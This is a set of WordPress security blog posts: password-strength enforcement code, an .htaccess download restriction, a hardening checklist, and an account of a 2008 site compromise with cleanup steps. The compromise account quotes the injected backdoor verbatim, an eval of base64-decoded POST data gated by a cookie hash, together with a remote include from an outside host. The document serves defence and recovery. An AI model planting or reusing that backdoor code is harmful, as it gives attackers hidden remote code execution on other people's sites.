Anyway, it’s a solution to a problem that I’m very surprised isn’t built into the WP core (as an option at least), and isn’t addressed by any easily found plugin or code already out there. As we know, WP provides a good “password strength meter” on the user profile page, which is great as strong passwords are (or should be) one of the first lines of defence against attacks on your site. But it’s just an indicator—there’s nothing stopping someone using “password” as their password, or something dumb like that. All you need is one Administrator or Editor with a dumb password, and the whole site is highly vulnerable.

How about a little enforcement?

The code below basically replicates the WP core password meter check, translated from JavaScript to PHP, and uses it to validate passwords that are entered.

// Enforce strong passwords
function slt_strongPasswords( $errors ) {
	$enforce = true;
	$args = func_get_args();
	$userID = $args[2]->ID;
	if ( $userID ) {
		// User ID specified - omit check for user levels below 5
		$userInfo = get_userdata( $userID );
		if ( $userInfo->user_level < 5 ) {
			$enforce = false;
		}
	} else {
		// No ID yet, adding new user - omit check for "weaker" roles
		if ( in_array( $_POST["role"], array( "subscriber", "author", "contributor" ) ) ) {
			$enforce = false;
		}
	}
	if ( $enforce && !$errors->get_error_data("pass") && $_POST["pass1"] && slt_passwordStrength( $_POST["pass1"], $_POST["user_login"] ) != 4 ) {
			$errors->add( 'pass', __( 'ERROR: Please make the password a strong one.' ) );
	}
	return $errors;
}
add_action( 'user_profile_update_errors', 'slt_strongPasswords', 0, 3 );

// Check for password strength
// Copied from JS function in WP core: /wp-admin/js/password-strength-meter.js
function slt_passwordStrength( $i, $f ) {
	$h = 1; $e = 2; $b = 3; $a = 4; $d = 0; $g = null; $c = null;
	if ( strlen( $i ) < 4 )
		return $h;
	if ( strtolower( $i ) == strtolower( $f ) )
		return $e;
	if ( preg_match( "/[0-9]/", $i ) )
		$d += 10;
	if ( preg_match( "/[a-z]/", $i ) )
		$d += 26;
	if ( preg_match( "/[A-Z]/", $i ) )
		$d += 26;
	if ( preg_match( "/[^a-zA-Z0-9]/", $i ) )
		$d += 31;
	$g = log( pow( $d, strlen( $i ) ) );
	$c = $g / log( 2 );
	if ( $c < 40 )
		return $e;
	if ( $c < 56 )
		return $b;
	return $a;
}

A few notes:

• Initially, in slt_strongPasswords(), which is hooked to the user_profile_update_errors action, we check whether we're editing or creating a user here. This enables a check on the user level / role. Here, I'm only enforcing the strong password for "executive" users, i.e. those whose role lets them significantly affect the site. I'm taking this to be Editors (or, in the old style, Level 5) and above. I'm well aware that roles and capabilities in WP, and possible modifications of that system, mean that this may not be a one-size-fits-all solution. Obviously, adapt as necessary for your system---and do chip in here with any suggestions for better / different checks. If you want to enforce strong passwords for all users, just delete or comment out lines 4-17.
• I've translated the WP core JavaScript function that runs the password strength meter here into PHP. If you root around in the core source (/wp-admin/js/user-profile.dev.js, you'll see that the value 4 is returned for "strong" passwords. Here, where there is enforcement, I'm limiting allowed passwords to "strong" only. Again, tweak this if you want to---perhaps different strengths enforced for different user roles.
• One slight hole I know is here is if someone changes a user's password at the same time as changing their role from something like Subscriber to Administrator. A weak password would get through this. Also, an account with a weak password could just be changed to an Administrator, and if no new password is entered, again, the check wouldn't be triggered. I'm assuming that people on the editing other's accounts will be trusted and know what they're doing. But still, it's an area where this code could definitely be improved---certainly it'd be necessary before making this a plugin.

Let me know if this is useful and if you find any bugs or suggestions for improvement!

Here’s my code:

RewriteCond %{SCRIPT_FILENAME} /wp-content/uploads/.*\.pdf$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteRule .* http://domain.com/ [F,L]

The first line matches requests for PDF files in the uploads folder. You can change that however you want. The key is the second line, which is the match for the WP cookie you’ll have if you’re logged in.

Note that the name of the actual cookie has a string of random characters at the end, which I assume WP generates to make the login cookie hard or impossible to fake. I don’t know a way to access this value outside WP. I’d be interested if anyone knows how; I’d also suspect this would be a security hole in WP!

In the above example, if someone knew the PDF’s URL, didn’t have a login to your site, and really wanted to download the file, I’m sure they could fake the login cookie easy enough. If you need tighter security than this on downloads, you should probably look at a plugin like Download Monitor, which provides “mask” URLs for files, and thus can process login checks via PHP code from within the WP framework before returning the download.

Note also that I’m not sure that http://domain.com/ is necessary in the last line. The F flag after it returns a 403 status code, so you get the browser’s “Forbidden” page instead of any URL that you specify as the redirect.

Any suggestions for improvement to this quick-and-dirty trick welcome!

There’s many, many things you can do to secure WP. I’ll give links for further reading at the end. Documented here are my “baseline” measures that I make sure are in every WP deployment I create.

Use strong, random passwords

The database password should be very strong, just a long string of random characters. It’s hard-coded into wp-config.php, so you don’t need to remember it.

If you have mutiple WP installations on a single shared server, try to give each WP installation—or at least, each person using WP installations—their own database user. My own server was hacked when someone I let use my server space didn’t upgrade WP very often. Their site got hacked, and because I stupidly used the same database user for all sites, all the other installations got compromised.

For admin users in WP, I try to use long, random passwords; they’re cached in the browsers I use on my own machines, and for remote use I can either store the password in an email account (itself with a memorable but secure password, and accessed via HTTPS), or temporarily change the WP admin password to something memorable but strong before setting out.

Make sure you change the security keys

These are the strings in wp-config.php that WP uses to secure logging in, form submissions, etc. Luckily you’re given a handy page to generate fresh values for you.

Change the table prefix

Before running the WP installation script (which creates the database), make sure you change the setting that defines the database table prefix in wp-config.php. Use a password generator and grab 5-10 random characters. Set these as the value for the $table_prefix (leave an underscore at the end of the value, it makes it easier to read table names).

If you’ve already installed WP and need to change the table prefix, change it in wp-config.php as above, then run some SQL with phpMyAdmin to rename the existing tables. This code assumes the current prefix is wp_:

RENAME TABLE wp_comments TO [your prefix here]_comments;
RENAME TABLE wp_links TO [your prefix here]_links;
RENAME TABLE wp_options TO [your prefix here]_options;
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
RENAME TABLE wp_posts TO [your prefix here]_posts;
RENAME TABLE wp_terms TO [your prefix here]_terms;
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
RENAME TABLE wp_users TO [your prefix here]_users;

Then, in the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_. Likewise for all meta_key values in the usermeta table that start with wp_.

And make sure you use $wpdb->prefix when referencing table names in any custom theme SQL code! Some badly written plugins might fall foul of this if they’ve hard-coded table prefixes; any plugin worth its salt will be OK, but watch out.

Change the default admin account username

Don’t leave it as “admin”! Make it something unusual. Get into the database via phpMyAdmin and change the user_login field for the default account.

Don’t advertize your WP version

Of course it should go without saying that you should keep WP and all plugins as up-to-date as possible. But there’s no point in letting anyone know what WP version you’re on. The wp_head() function will include this by default through a theme’s header. To stop this, add this line to your theme’s functions.php:

remove_action( 'wp_head', 'wp_generator' );

UPDATE! I’ll leave the above here for reference, but thanks to WP-Scanner I’ve discovered that this only removes the generator tag from the page header. It’s still included in the RSS feed. To completely remove it, attack it at the source (solution thanks to follow the white rabbit). Use this instead of the above code:

function no_generator() { return ''; }
add_filter( 'the_generator', 'no_generator' );

Also, delete readme.html from the root of your WP installation. That’s got the version number in, too.

.htaccess precautions

At the very least, add these lines to .htaccess:

# Prevent directory listing
IndexIgnore *

# Protect .htaccess files
<Files .htaccess>
	order allow,deny
	deny from all
</Files>

# Protect wp-config.php
<FilesMatch ^wp-config.php$>
	deny from all
</FilesMatch>

The Perishable Press blacklists

Jeff Starr at Perishable Press has some obsessive compilations of .htaccess that should add many extra layers of security, if you need it. I’ve not used them myself, so I should note that some people seem to have experienced conflicts between Jeff’s code and legit operations in their WP installations. However, Jeff seems to be very sharp at keeping everything updated; and he’s always keen to point out that his demonstrated technique is sometimes more important than the data that the lists represent. The actual blacklist data should be tweaked according to your own experience of your access logs.

Anyway, the most important posts seem to be the 4G Blacklist and the related User-Agent Blacklist.

Remove or replace install.php

Jeff also recently posted a notice about a possible WP vulnerability. I’m not sure about how his situation happened, but his advice, to remove or replace wp-admin/install.php, seems worth following. It’s not needed again post-installation.

Automate data backups

I was lucky; the hack I was subject to lost me no data at all. Of course, security shouldn’t rely on luck! Install WP-DBManager and schedule regular backups.

Coding best practices

If you’re coding custom themes or plugins, always follow the WordPress Coding Standards. Of particular note, security-wise, is the syntax for making your SQL queries secure:

$var = "dangerous'"; // raw data that may or may not need to be escaped
$id  = some_foo_number(); // data we expect to be an integer, but we're not certain
$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_title = %s WHERE ID = %d", $var, $id ) );

So, $wpdb->prepare() will switch in the sequence of variables you provide at the end, and you need to specify their placeholders with %s for a string and %d for an integer.

Plugins

There aren’t any plugins for specific security reasons that I currently use regularly (I’m discounting plugins to stop spam). However, here are some that are worth checking out:

WordPress Scanner

“A free online resource that blog administrators can use to provide a measure of their wordpress security level.” Involves using a plugin, but the scan itself seems to run from a remote server.

WP Security Scan

More scanning. “Scans your WordPress installation for security vulnerabilities and suggests corrective actions.”

Limit Login Attempts

I assume it does what it says on the tin.

Secure WordPress

A bundle of little security measures in one plugin.

WordPress File Monitor

“Monitors your WordPress installation for added/deleted/changed files. When a change is detected an email alert can be sent to a specified address.”

References and further reading

• GRC’s Ultra High Security Password Generator
• Codex: Editing wp-config.php
• Codex: Hardening WordPress
• Blog Security: WordPress (especially their WordPress Security Whitepaper)
• A Common-Sense WordPress Security Primer

Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.

NOTE: This post contains some good WordPress security tips, but in response to a specific hacks. For a more general, comprehensive run-down of solid WordPress security measures, see this post.

The hack

I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.

With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.

In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.

The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:

• New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called taxonomy.php, there might be a new file called taxonomy_old.php or taxonomy_new.php. Other common new names included image-like extensions, e.g. crop.php.pngg or wlw_old.php.giff.
• The main WP index.php changed to look like this:

  <?php if(md5($_COOKIE['_wp_debugger'])==
  "[long hash string here]"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
  /* Short and sweet */
  if (isset($_GET['license'])) {
  	@include('http://wordpress.net.in/license.txt');
  } else {
  	define('WP_USE_THEMES', true);
  	require('./wp-blog-header.php');
  }
  ?>

• That top line of PHP code was inserted into many other files.
• A new user account could be found in the wp_user table, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in wp_usermeta, along with other entries that didn’t have a corresponding account in wp_user.
• In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.

Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.

Cleaning up

1. First, using phpMyAdmin, delete the “WordPress” entry from wp_user and its corresponding entries in wp_usermeta. Also delete all entries in wp_usermeta where the user_id value doesn’t correspond to a legitimate account in wp_user.
2. SSH into your server and search for offending code. I found the following commands useful:

   grep --recursive "eval(base64_decode($_POST['file']));" *

   grep --recursive "http://wordpress.net.in/license.txt" *

   grep --recursive "find suid files" *

   These search all files (*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies.

3. Remove all offending files, via FTP or SSH (see above link).

Securing WordPress

Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).

Then do the following:

1. With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
2. Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
3. Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the user_login field.
4. Change all WP user account passwords.
5. Heck, change any other passwords too (like FTP).
6. Change the default wp_ prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:
   1. Change value of the $table_prefix variable in wp-config.php. I use a string of 5 or so characters from the password page.
   2. In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other wp_-prefixed tables, e.g. tables created by various plugins.)

      RENAME TABLE wp_comments TO [your prefix here]_comments;
      RENAME TABLE wp_links TO [your prefix here]_links;
      RENAME TABLE wp_options TO [your prefix here]_options;
      RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
      RENAME TABLE wp_posts TO [your prefix here]_posts;
      RENAME TABLE wp_terms TO [your prefix here]_terms;
      RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
      RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
      RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
      RENAME TABLE wp_users TO [your prefix here]_users;

      Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. wp_posts. You’ll need to change any instances of the same habit in your code using $wpdb->prefix. For instance, this:

      $sql = "SELECT ID, post_title FROM wp_posts WHERE post_status = 'publish'";

      Should become:

      $sql = "SELECT ID, post_title FROM ".$wpdb->prefix."posts WHERE post_status = 'publish'";

      Most plugins use this to remain portable, but you might want to search your plugins for hard-coded wp_‘s too.

   3. In the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_.
   4. Likewise for all meta_key values in the usermeta table that start with wp_.
7. Finally, re-do the grep SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.

My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.

Here’s some more resources on WordPress that I’m still absorbing:

• Hardening WordPress
• BlogSecurity.net: WordPress (see especially their WordPress Security Whitepaper)

WordPress 2.5

I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5′s new file:

// Change SECRET_KEY to a unique phrase.  You won't have to remember it later,
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define('SECRET_KEY', 'put your unique phrase here'); // Change this to a unique phrase.

Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.

One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:

define('DB_CHARSET', 'utf8');

Comment it out like this:

//define('DB_CHARSET', 'utf8');

Good luck!